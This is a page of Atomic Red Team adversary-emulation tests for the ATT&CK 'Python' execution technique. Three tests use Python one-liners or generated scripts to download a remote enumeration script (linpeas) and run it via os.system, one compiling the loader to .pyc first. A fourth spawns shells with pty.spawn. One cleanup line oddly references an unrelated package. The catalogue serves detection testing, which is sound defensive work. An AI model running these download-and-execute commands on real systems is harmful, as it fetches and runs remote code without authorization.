Try it using Invoke-Atomic

Command and Scripting Interpreter: Python

Description from ATT&CK

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.

Atomic Tests

Atomic Test #1 - Execute shell script via python's command mode arguement

Download and execute shell script and write to file then execute locally using Python -c (command mode)

Supported Platforms: linux

auto_generated_guid: 3a95cdb2-c6ea-4761-b24e-02b71889b8bb

Inputs:

Name Description Type Default Value
script_url Shell script public URL string https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh
payload_file_name Name of shell script downloaded from the script_url string T1059.006-payload
executor FreeBSD or Linux shell string sh
script_args Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files. string -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles

Attack Commands: Run with sh!

1
2

which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'

Cleanup Commands:

1
2

rm #{payload_file_name} 
pip-autoremove pypykatz >nul 2> nul

Dependencies: Run with sh!

Description: Verify if python is in the environment variable path and attempt to import requests library. Check Prereq Commands:

1
2

which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?

Get Prereq Commands:

1

pip install requests

Atomic Test #2 - Execute Python via scripts

Create Python file (.py) that downloads and executes shell script via executor arguments

Supported Platforms: linux

auto_generated_guid: 6c4d1dcb-33c7-4c36-a8df-c6cfd0408be8

Inputs:

Name Description Type Default Value
python_script_name Python script name path T1059.006.py
script_url Shell script public URL string https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh
payload_file_name Shell script file name downloaded from the script_url string T1059.006-payload
executor Payload or script interpreter / executor string sh
script_args Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files string -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles

Attack Commands: Run with sh!

1
2
3
4
5
6
7
8
9
10
11
12

which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python #{python_script_name}

Cleanup Commands:

1

rm #{python_script_name} #{payload_file_name}

Dependencies: Run with sh!

Description: Requires Python

Check Prereq Commands:

1
2

which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?

Get Prereq Commands:

1

pip install requests

Atomic Test #3 - Execute Python via Python executables

Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments

Supported Platforms: linux

auto_generated_guid: 0b44d79b-570a-4b27-a31f-3bf2156e5eaa

Inputs:

Name Description Type Default Value
python_script_name Name of Python script name path T1059.006.py
script_url URL hosting external malicious payload string https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh
payload_file_name Shell script file name downloaded from the script_url string T1059.006-payload
executor Payload or script interpreter / executor string sh
script_args Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files string -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles
python_binary_name Name of Python file to be compiled path T1059.006.pyc

Attack Commands: Run with sh!

1
2
3
4
5
6
7
8
9
10
11
12
13

which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
$which_python #{python_binary_name}

Cleanup Commands:

1

rm #{python_binary_name} #{python_script_name} #{payload_file_name}

Dependencies: Run with sh!

Description: Requires Python

Check Prereq Commands:

1
2

which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?

Get Prereq Commands:

1

pip install requests

Atomic Test #4 - Python pty module and spawn function used to spawn sh or bash

Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

Supported Platforms: linux

auto_generated_guid: 161d694c-b543-4434-85c3-c3a433e33792

Inputs:

None

Attack Commands: Run with sh!

1
2
3
4
5

which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c "import pty;pty.spawn('/bin/sh')"
exit
$which_python -c "import pty;pty.spawn('/bin/bash')"
exit

Dependencies: Run with sh!

Description: Verify if python is in the environment variable path and attempt to import requests library.

Check Prereq Commands:

1
2

which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?

Get Prereq Commands:

1

pip install requests

source